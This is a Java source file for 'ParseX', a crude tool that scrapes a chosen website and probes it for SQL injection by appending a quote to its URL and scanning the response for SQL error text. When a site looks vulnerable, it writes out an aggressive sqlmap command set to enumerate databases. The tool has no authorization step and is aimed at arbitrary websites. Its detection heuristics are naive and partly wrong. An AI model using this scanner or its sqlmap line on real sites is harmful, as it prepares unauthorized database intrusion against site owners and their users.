Java website scan software.

import java.awt.Dimension;
import java.awt.FlowLayout;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.*;
import java.net.*;
import org.jsoup.HttpStatusException;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;
import org.jsoup.nodes.Element;
import javax.swing.*;


public class testing implements Runnable,ActionListener{
    PrintWriter writer;
    PrintWriter htmlpainter;
    BufferedReader reader;
    String str;
    String message;
    String source;
    String page;
    String command;
    String url;
    String secondaryurl;
    int hash;
    static int time;
    JFrame frame;
    JTextPane pane;
    JButton button;
    Document doc;
    Document vuln;
    Thread t1;
    InetAddress address;
    String link;

    public void run(){
        for(time=0;time>=0;time++){
            try{
            Thread.sleep(1000);
            }catch(InterruptedException e){System.out.println(e.getMessage()+"Thread interrupted.");}
        }
    }

    public void searchCore()throws IOException{
        Java java=new Java();
        reader=new BufferedReader(new InputStreamReader(System.in));
        t1=new Thread(new testing());

        System.out.println("<ParseX>\n");
        t1.start();
        System.out.print("Choose name of website to be tested: ");
        url=reader.readLine();
        System.out.print("Choose name of secondary url: ");
        secondaryurl=reader.readLine();

        try{
        doc=Jsoup.connect(url).get();
        }
        catch(IllegalArgumentException | HttpStatusException i){System.out.println(i.getMessage()+" -Wrong url syntax.Provide http:// prefix, or could not connect.");}

        System.out.println("Connected.");

    do{
        System.out.print(">");
        command=reader.readLine();
//SIMPLE//
        if(command.equals("?getnode"))
            System.out.println(doc.nodeName());

        if(command.equals("?getname"))
            System.out.println(doc.title());

        if(command.equals("?gettag"))
            System.out.println(doc.tag());

        if(command.equals("?help"))
            java.help();

        if(command.equals("?printsource")){
            source=doc.html();
            System.out.println(source);
        }

        if(command.equals("?printpage")){
            page=doc.text();
            System.out.println(page);
        }

        if(command.equals("?session"))
            System.out.println(time+" seconds.");

        if(command.equals("!execute"))
            System.exit(0);

        if(command.equals("?getall")){
            System.out.println("Node: "+doc.nodeName());
            System.out.println("Name: "+doc.title());
            System.out.println("Tag: "+doc.tag());
        }

        if(command.equals("?gethash")){
            hash=url.hashCode();
            System.out.println(url+": "+hash);
           }

        if(command.equals("?getip")){
            try{
            address=InetAddress.getByName(secondaryurl);
            System.out.println(address);
            }
            catch(UnknownHostException e){System.out.println(e.getMessage()+" -wrong name of host.");}
        }

//MAIN//
        if(command.equals("?getsource")){
            writer=new PrintWriter("C:\\Users\\Jakub\\Desktop\\Source.txt");

            source=doc.html();
            writer.write(source);
            writer.close();
            System.out.println("Done.");
        }
        if(command.equals("?getpage")){
            writer=new PrintWriter("C:\\Users\\Jakub\\Desktop\\Text.txt");

            page=doc.text();
            writer.write(page);
            writer.close();
            System.out.println("Done.");
        }

        if(command.equals("?isvulnerable")){
            if(url.contains("id")||url.contains("ID")){
            vuln=Jsoup.connect(url+"'").get();
            message=vuln.text();

            if(message.contains("sql")||message.contains("Sql")||message.contains("SQL")||message.contains("mySQL")||message.contains("mysql")||message.contains("MySQL")){
                System.out.println("Website is SQLi vulnerable.");
            }
            else
                System.out.println("No SQLi vulnerable place found.");
            }
            else
                System.out.println("No parameter provided.");
        }

        if(command.equals("!bruteforce")){
            try{
            if(!url.contains("id")&&!url.contains("ID")){
                Document vuln=Jsoup.connect(url+"/index.php?id='").get();
                String message=vuln.text();

                if(message.contains("sql")||message.contains("Sql")||message.contains("SQL")||message.contains("mySQL")||message.contains("mysql")||message.contains("MySQL")){
                    System.out.println("Website is SQLi vulnerable (bruteforce).");
                }
                else
                    System.out.println("No SQLi vulnerable place found.");
            }
            else
                System.out.println("Cannot force website to throw vulnerable subdomain- id is implemented.");
            }
            catch(HttpStatusException e){System.out.println(e.getMessage()+" -bruteforce not available.");}
        }

        if(command.equals("?usesjvs")){
            source=doc.html();

            if(source.contains("javascript")||source.contains("function")){
                System.out.println("Website possibly uses javascript.");
            }
            else
                System.out.println("No javascript footprint found.");
            }

        if(command.equals("?usescss")){
            source=doc.html();

            if(source.contains("css")||source.contains("style")){
                System.out.println("Website possibly uses css styles.");
            }
            else
                System.out.println("No css footprint found.");
        }

        if(command.equals("?htmlversion")){
            source=doc.html();

            if(source.contains("!DOCTYPE")||source.contains("!doctype")){
                System.out.println("Website uses HTML 5.");
            }
            else{
                System.out.println("Website HTML version < 5.0.");
            }
        }

        if(command.equals("?getlinks")){
            htmlpainter=new PrintWriter("C://Users//Jakub//Desktop//Links.txt");
            Elements links=doc.select("a[href]");

            for(Element element : links){
                htmlpainter.print("\n"+element.attr("href")+"  ");
            }
            htmlpainter.close();
            System.out.println("Done.");
        }

        if(command.equals("?printlinks")){
                Elements links=doc.select("a[href]");

                for(Element element : links){
                    System.out.println("\n"+element.attr("href"));
                }
        }

        if(command.equals("?getimages")){
            htmlpainter=new PrintWriter("C://Users//Jakub//Desktop//Images.txt");
            Elements images=doc.select("img");

            for(Element element : images){
                htmlpainter.print("\n"+element.attr("src")+"   ");
            }
            htmlpainter.close();
            System.out.println("Done.");
        }

        if(command.equals("?printimages")){
            Elements images=doc.select("img");

            for(Element element : images){
                System.out.println("\n"+element.attr("src"));
            }
        }

        if(command.equals("?injection-ready")){
            writer=new PrintWriter("C://Users//Jakub//Desktop//MAP.txt");

            writer.println("python sqlmap.py -u "+url+" --random-agent --timeout=15 --keep-alive --threads=3 --level=5 --risk=3 --technique=BEUST --union-cols=20 --dbs --eta -v 2 --union-char=20 -p id");
            writer.close();
            System.out.println("Done.");
        }

//STR FILTER//
        if(command.equals("?getsourcestr")){
            str=reader.readLine();
            source=doc.html();
            if(source.contains(str)){
                System.out.println("Source code contains *"+str+"*.");
            }
            else
                System.out.println("Source code does not contain *"+str+"*.");
            }


        if(command.equals("?getpagestr")){
            str=reader.readLine();
            page=doc.text();
            if(page.contains(str)){
                System.out.println("Page text contains *"+str+"*.");
            }
            else
                System.out.println("Page text does not contain *"+str+"*.");
            }

//GUI-testX//
        frame=new JFrame("TestX");
        frame.setSize(500,120);
        frame.setVisible(false);
        frame.setLayout(new FlowLayout());

        pane=new JTextPane();
        pane.setPreferredSize(new Dimension(450,50));

        button=new JButton("Scan");
        button.setPreferredSize(new Dimension(200,20));
        button.addActionListener(this);

        frame.add(pane);
        frame.add(button);

        if(command.equals("?testX")){
            frame.setVisible(true);
        }

    }while(command!="disconnect");
}
        public static void main(String args[])throws IOException{
            testing obj=new testing();
            obj.searchCore();
        }

        @Override
        public void actionPerformed(ActionEvent e){
            try{
            link=pane.getText();
            Document doc=Jsoup.connect(link+"'").get();
            message=doc.text();

            if(message.contains("sql")||message.contains("Sql")||message.contains("SQL")||message.contains("mySQL")||message.contains("mysql")||message.contains("MySQL")){
                pane.setText(pane.getText()+"\n"+"Website is SQLi vulnerable.");

                writer=new PrintWriter("C://Users//Jakub//Desktop//MAP.txt");
                writer.println("python sqlmap.py -u "+link+" --random-agent --timeout=15 --keep-alive --threads=3 --level=5 --risk=3 --technique=BEUST --union-cols=20 --dbs --eta -v 2 --union-char=20 -p id");
                writer.close();
            }
            else
                pane.setText(pane.getText()+"\n"+"No vulnerableness found.");
        }
            catch(IOException | IllegalArgumentException ei){System.out.println(ei.getMessage()+ "-Wrong url syntax.Provide http:// prefix.");}
        }
}
public class Java extends testing{

    public void help(){
        System.out.println("ParseX is software used to analyse websites and search for SQLi vulnerableness.\n" +
                           "It's also one-session-only software.Primary url- with http:// and/or parameter.\n" +
                           "Secondary url- without both http:// and parameter.\n\n");
        System.out.println("?getname- get name of website.");
        System.out.println("?gettag- get tag of website.");
        System.out.println("?getnode- get node of website.");
        System.out.println("?getall- get name,tag and node.");
        System.out.println("?getsource- write source code of website to a text file.");
        System.out.println("?printsource- print source code to console.");
        System.out.println("?getpage- write website's text content to a text file.");
        System.out.println("?printpage- print website's text content to console.");
        System.out.println("?isvulnerable- find website's SQLi vulnerableness (provide id parameter).");
        System.out.println("!bruteforce- force website to throw SQLi vulnerable subdomain (less effective).");
        System.out.println("?injection-ready- write sqlmap-based script to text file.");
        System.out.println("?getsourcestr- find certain String in source code.");
        System.out.println("?getpagestr- find certain String in textual content.");
        System.out.println("?getlinks- find all links of website from <a href> tag.");
        System.out.println("?printlinks- print all links of website to a console.");
        System.out.println("?getimages- get all image links from <img src> tag.");
        System.out.println("?printimges- print all image links to console.");
        System.out.println("?gethash- encrypt name of website into numeric hash.");
        System.out.println("?usesjvs/usescss- find out if website uses javascript or css language.");
        System.out.println("?htmlversion- find out if website uses HTML <= 5.0.");
        System.out.println("?getip- get ip address of website.");
        System.out.println("?session- get current session time.");
        System.out.println("?testX- start separate testX software to scan if any website is vulnerable.");
    }
}